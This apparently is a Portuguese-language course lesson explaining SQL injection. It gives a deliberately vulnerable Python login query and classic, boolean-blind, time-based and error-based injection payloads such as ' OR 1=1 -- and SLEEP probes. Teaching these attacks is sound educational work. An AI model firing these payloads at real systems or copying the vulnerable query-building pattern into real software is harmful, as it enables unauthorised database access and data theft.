Aula 48 | Passo a Passo SQL Injection

Aula 48 | Passo a Passo SQL Injection

Passo a Passo SQL Injection

O que é SQL Injection?

SQL Injection (Injeção de SQL) é uma das falhas mais conhecidas e exploradas na segurança de aplicações web. Ela permite que um invasor interfira nas queries SQL executadas pelo sistema, podendo:

  • Obter informações confidenciais (usuários, senhas, emails, etc.);

  • Modificar, excluir ou inserir dados;

  • BURLAR autenticação (login);

  • Obter acesso total ao banco de dados;

  • Em alguns casos, até executar comandos no sistema operacional.

⚠️ Importante: SQL Injection não depende da linguagem (PHP, Python, JavaScript, etc.) nem da versão do banco.
A falha está na falta de validação e tratamento dos dados de entrada pelo desenvolvedor.

Como acontece a SQL Injection?

Comunicação entre cliente, back-end e banco de dados:

  1. O usuário interage com a aplicação (por exemplo, preenchendo um formulário de login).

  2. O back-end (código da aplicação) pega esses dados e monta uma query SQL.

  3. A query é enviada ao banco de dados, que processa e responde.

  4. Se não houver validação, o invasor pode injetar comandos SQL no meio dessa quer

Exemplo de Funcionamento

Cenário:

  • Backend em Python (mas poderia ser PHP, JS, Java etc.)

  • Banco de dados MySQL

  • Tabela de login: users

  • Campos: username e password

Código (com falha):

# Atenção: esse código tem falha proposital para estudo
username = input("Usuário:")
password = input("Senha:")

query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}';"

Se o usuário digitar:

  • username: admin' --

  • password: qualquercoisa

A query gerada será:

SELECT * FROM users WHERE username='admin' --' AND password='qualquercoisa';

O -- comenta o resto da query. O banco ignora a checagem da senha. Resultado: login sem senha.

Vamos imaginar um exemplo parecido:

  • O site tem um campo de login com username e password

  • O usuário digita:

    • Username: daniel

    • Password: admin

  • O back-end, por exemplo em Python, vai montar uma query assim:

SELECT * FROM users WHERE username='daniel' AND password='admin';

Se houver uma falha de validação, o invasor pode injetar algo assim:

  • Username: admin' --

  • Password: (qualquer coisa)

O back-end vai interpretar:

SELECT * FROM users WHERE username='admin' --' AND password='qualquercoisa';

O que acontece?

O comentário -- ignora o restante da query, burlando a senha.

Tipos de SQL Injection

Existem vários métodos e técnicas que um atacante pode usar. Vamos conhecer os principais:

SQL Injection Clássica / Injeção Direta

' OR 1=1 --

Query resultante:

SELECT * FROM users WHERE username='' OR 1=1 --' AND password='';

1=1 é sempre verdadeiro → retorna todos os usuários.

Injeta diretamente na cláusula WHERE, alterando a lógica da query:

Boolean-Based Blind SQL Injection (Cega baseada em resposta)

O atacante não vê os dados diretamente, mas percebe mudanças no comportamento da aplicação (página muda ou não).

Teste:

' AND 1=1 --

Se a resposta for diferente de:

' AND 1=2 --

Ele percebe que a condição é executada.

O atacante testa se o banco responde com base em condições verdadeiras ou falsas. Exemplo:

SELECT * FROM users WHERE username='admin' AND '1'='1';

Ou tenta forçar:

' OR 1=1 -- 

Se funcionar, o sistema não está validando corretamente.

Time-Based Blind SQL Injection

Mesmo sem mensagens visíveis ou conteúdo alterado, o atacante percebe o tempo de resposta. Exemplo:

' OR IF(1=1, SLEEP(5), 0) --

Se a página demorar 5 segundos, ele sabe que o SQL executou.

É útil quando:

  • A aplicação não mostra erros

  • Não retorna conteúdo diferente

Então o  atacante injeta um comando que faz o banco "esperar", indicando se a query foi aceita, mesmo sem retornar dados visíveis.

SELECT * FROM users WHERE username = 'admin' AND IF(password LIKE 'a%', SLEEP(10), 0);

Se a resposta demorar 10 segundos, o atacante confirma que a injeção funcionou.

Error-Based SQL Injection

Aqui o atacante força um erro proposital para que o banco retorne mensagens com detalhes (nomes de colunas, tabelas etc.).

Exemplo:

' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND()*2)) AS x FROM information_schema.tables GROUP BY x) y) --

Se o banco não estiver protegido, vai retornar erros detalhados como:

Duplicate entry 'MySQL 8.0.28' for key 'group_key'

O invasor envia propositalmente uma injeção incompleta ou incorreta, esperando que o banco retorne uma mensagem de erro, revelando informações sensíveis:

' AND 1=CONVERT(int, (SELECT name FROM users)) -- 

Se houver falha de tratamento, o banco vai revelar estrutura da tabela, nome de colunas ou detalhes da query.

Exemplos Reais de Query e Injeção

 Banco: project0

 Tabela: products

Query original:

SELECT * FROM products WHERE name = '$produto';

Injeção:

' OR 1=1 --

Resultado:

SELECT * FROM products WHERE name = '' OR 1=1 --';

Vai retornar todos os produtos, ignorando filtros.

 

Sugestões de Aulas

Aula 49 | Information_Schema para SQL Injection

Ver Aula

Aula 47 | Back-End por trás do SQL Injection

Ver Aula

Aula 90 | Identidade Anônima P1

Ver Aula